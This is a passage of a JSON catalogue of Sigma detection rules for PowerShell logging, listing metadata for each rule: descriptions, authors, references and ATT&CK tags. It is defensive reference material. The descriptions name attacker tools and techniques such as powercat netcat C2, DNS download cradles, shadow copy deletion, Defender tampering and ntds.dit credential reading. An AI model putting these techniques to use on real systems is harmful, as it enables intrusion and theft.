"frack113", "creation_date": "2021/07/21", "falsepositive": [ "Unknown" ], "filename": "posh_pc_powercat.yml", "level": "medium", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://nmap.org/ncat/", "https://github.com/besimorhino/powercat", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" ], "tags": [ "attack.command_and_control", "attack.t1095" ] }, "related": [ { "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c5b20776-639a-49bf-94c7-84f912b91c15", "value": "Netcat The Powershell Version" }, { "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/06/24", "falsepositive": [ "Unknown" ], "filename": "posh_pc_wsman_com_provider_no_powershell.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/bohops/WSMan-WinRM", "https://twitter.com/chadtilbury/status/1275851297770610688", "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.lateral_movement", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "df9a0e0e-fedb-4d6c-8668-d765dfc92aa7", "value": "Suspicious Non PowerShell WSMAN COM Provider" }, { "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "meta": { "author": "frack113", "creation_date": "2021/12/10", "falsepositive": [ "Unknown" ], "filename": "posh_pc_susp_get_nettcpconnection.yml", "level": "low", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml" ], "tags": [ "attack.discovery", "attack.t1049" ] }, "related": [ { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b366adb4-d63d-422d-8a2c-186463b5ded0", "value": "Use Get-NetTCPConnection" }, { "description": "Detects remote PowerShell sessions", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/10", "falsepositive": [ "Legitimate use remote PowerShell sessions" ], "filename": "posh_pc_remote_powershell_session.yml", "level": "high", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.lateral_movement", "attack.t1021.006" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "60167e5c-84b2-4c95-a7ac-86281f27c445", "value": "Remote PowerShell Session (PS Classic)" }, { "description": "Detects PowerShell called from an executable by the version mismatch method", "meta": { "author": "Sean Metcalf (source), Florian Roth (rule)", "creation_date": "2017/03/05", "falsepositive": [ "Unknown" ], "filename": "posh_pc_exe_calling_ps.yml", "level": "high", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=2921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c70e019b-1479-4b65-b0cc-cd0c6093a599", "value": "PowerShell Called from an Executable Version Mismatch" }, { "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", "meta": { "author": "frack113", "creation_date": "2021/07/13", "falsepositive": [ "Unknown" ], "filename": "posh_pc_susp_athremotefxvgpudisablementcommand.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_athremotefxvgpudisablementcommand.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f65e22f9-819e-4f96-9c7b-498364ae7a25", "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand - PowerShell" }, { "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/11", "falsepositive": [ "Programs using PowerShell directly without invocation of a dedicated interpreter", "MSP Detection Searcher", "Citrix ConfigSync.ps1" ], "filename": "posh_pc_alternate_powershell_hosts.yml", "level": "medium", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d7326048-328b-4d5e-98af-86e84b17c765", "value": "Alternate PowerShell Hosts" }, { "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", "meta": { "author": "Florian Roth (rule), Lee Holmes (idea), Harish Segar (improvements)", "creation_date": "2017/03/22", "falsepositive": [ "Unknown" ], "filename": "posh_pc_downgrade_attack.yml", "level": "medium", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6331d09b-4785-4c13-980f-f96661356249", "value": "PowerShell Downgrade Attack - PowerShell" }, { "description": "Shadow Copies deletion using operating systems utilities via PowerShell", "meta": { "author": "frack113", "creation_date": "2021/06/03", "falsepositive": [ "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason" ], "filename": "posh_pc_delete_volume_shadow_copies.yml", "level": "high", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "87df9ee1-5416-453a-8a08-e8d4a51e9ce1", "value": "Delete Volume Shadow Copies Via WMI With PowerShell" }, { "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", "meta": { "author": "Teymur Kheirkhabarov, Harish Segar (rule)", "creation_date": "2020/06/29", "falsepositive": [ "Unknown" ], "filename": "posh_pc_xor_commandline.yml", "level": "medium", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "812837bb-b17f-45e9-8bd0-0ec35d2e3bd6", "value": "Suspicious XOR Encoded PowerShell Command Line - PowerShell" }, { "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "meta": { "author": "frack113", "creation_date": "2021/07/20", "falsepositive": [ "Unknown" ], "filename": "posh_pc_susp_zip_compress.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml" ], "tags": [ "attack.collection", "attack.t1074.001" ] }, "related": [ { "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "71ff406e-b633-4989-96ec-bc49d825a412", "value": "Zip A Folder With PowerShell For Staging In Temp - PowerShell" }, { "description": "Detects suspicious PowerShell download command", "meta": { "author": "Florian Roth", "creation_date": "2017/03/05", "falsepositive": [ "PowerShell scripts that download content from the Internet" ], "filename": "posh_pc_susp_download.yml", "level": "medium", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3236fcd0-b7e3-4433-b4f8-86ad61a9af2d", "value": "Suspicious PowerShell Download" }, { "description": "Detects renamed powershell", "meta": { "author": "Harish Segar, frack113", "creation_date": "2020/06/29", "falsepositive": [ "Unknown" ], "filename": "posh_pc_renamed_powershell.yml", "level": "low", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "30a8cb77-8eb3-4cfb-8e79-ad457c5a4592", "value": "Renamed Powershell Under Powershell Channel" }, { "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Or set default actions to allow.", "meta": { "author": "frack113", "creation_date": "2021/06/07", "falsepositive": [ "Unknown" ], "filename": "posh_pc_tamper_with_windows_defender.yml", "level": "high", "logsource.category": "ps_classic_provider_start", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "ec19ebab-72dc-40e1-9728-4c0b805d722c", "value": "Tamper Windows Defender - PSClassic" }, { "description": "Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records", "meta": { "author": "Sai Prashanth Pulisetti @pulisettis", "creation_date": "2022/12/10", "falsepositive": [ "Unknown" ], "filename": "posh_pc_abuse_nslookup_with_dns_records.yml", "level": "medium", "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ "https://twitter.com/Alh4zr3d/status/1566489367232651264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_abuse_nslookup_with_dns_records.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "999bff6d-dc15-44c9-9f5c-e1051bfc86e1", "value": "Nslookup PowerShell Download Cradle" }, { "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/11", "falsepositive": [ "Programs using PowerShell directly without invocation of a dedicated interpreter", "MSP Detection Searcher", "Citrix ConfigSync.ps1" ], "filename": "posh_pm_alternate_powershell_hosts.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "64e8e417-c19a-475a-8d19-98ea705394cc", "value": "Alternate PowerShell Hosts - PowerShell Module" }, { "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_stdin.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9ac8b09b-45de-4a07-9da1-0de8c09304a3", "value": "Invoke-Obfuscation STDIN+ Launcher - PowerShell Module" }, { "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads \nthat often undergo minimal changes by attackers due to bad opsec.\n", "meta": { "author": "ok @securonix invrep_de, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments." ], "filename": "posh_pm_bad_opsec_artifacts.yml", "level": "critical", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", "https://www.mdeditor.tw/pl/pgRt", "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8d31a8ce-46b5-4dd6-bdc3-680931f1db86", "value": "Bad Opsec Powershell Code Artifacts" }, { "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "posh_pm_get_clipboard.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/16", "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml" ], "tags": [ "attack.collection", "attack.t1115" ] }, "uuid": "4cbd4f12-2e22-43e3-882f-bff3247ffb78", "value": "PowerShell Get Clipboard" }, { "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "posh_pm_decompress_commands.yml", "level": "informational", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html", "https://github.com/OTRF/detection-hackathon-apt29/issues/8", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ddc1472-8e52-4f7d-9f11-eab14fc171f5", "value": "PowerShell Decompress Commands" }, { "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", "meta": { "author": "frack113", "creation_date": "2021/12/15", "falsepositive": [ "Administrator script" ], "filename": "posh_pm_susp_ad_group_reco.yml", "level": "low", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "815bfc17-7fc6-4908-a55e-2f37b98cedb4", "value": "AD Groups Or Users Enumeration Using PowerShell - PoshModule" }, { "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_via_use_clip.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ebdf49d8-b89c-46c9-8fdf-2c308406f6bd", "value": "Invoke-Obfuscation Via Use Clip - PowerShell Module" }, { "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_via_var.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6", "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module" }, { "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "meta": { "author": "frack113", "creation_date": "2021/12/12", "falsepositive": [ "Administrator script" ], "filename": "posh_pm_susp_local_group_reco.yml", "level": "low", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cef24b90-dddc-4ae1-a09a-8764872f69fc", "value": "Suspicious Get Local Groups Information" }, { "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", "meta": { "author": "Florian Roth", "creation_date": "2022/03/16", "falsepositive": [ "Unknown" ], "filename": "posh_pm_get_addbaccount.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b140afd9-474b-4072-958e-2ebb435abd68", "value": "Suspicious Get-ADDBAccount Usage" }, { "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "meta": { "author": "frack113", "creation_date": "2021/07/21", "falsepositive": [ "Unknown" ], "filename": "posh_pm_powercat.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://nmap.org/ncat/", "https://github.com/besimorhino/powercat", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_powercat.yml" ], "tags": [ "attack.command_and_control", "attack.t1095" ] }, "related": [ { "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2", "value": "Netcat The Powershell Version - PowerShell Module" }, { "description": "Detects keywords that could indicate clearing PowerShell history", "meta": { "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_pm_clear_powershell_history.yml", "level": "medium", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.003" ] }, "related": [ { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f99276ad-d122-4989-a09a-d00904a5f9d2", "value": "Clear PowerShell History - PowerShell Module" }, { "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", "creation_date": "2019/11/08", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_obfuscated_iex.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2f211361-7dce-442d-b78a-c04039677378", "value": "Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module" }, { "description": "Detects remote PowerShell sessions", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", "creation_date": "2019/08/10", "falsepositive": [ "Legitimate use remote PowerShell sessions" ], "filename": "posh_pm_remote_powershell_session.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.lateral_movement", "attack.t1021.006" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "96b9f619-aa91-478f-bacb-c3e50f8df575", "value": "Remote PowerShell Session (PS Module)" }, { "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", "meta": { "author": "frack113", "creation_date": "2021/12/15", "falsepositive": [ "Administrator script" ], "filename": "posh_pm_susp_smb_share_reco.yml", "level": "low", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6942bd25-5970-40ab-af49-944247103358", "value": "Suspicious Get Information for SMB Share - PowerShell Module" }, { "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Unknown" ], "filename": "posh_pm_invoke_obfuscation_via_use_mhsta.yml", "level": "high", "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb", "value": "Invoke-Obfuscation Via Use MSHTA - PowerShell Module" }, { "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": 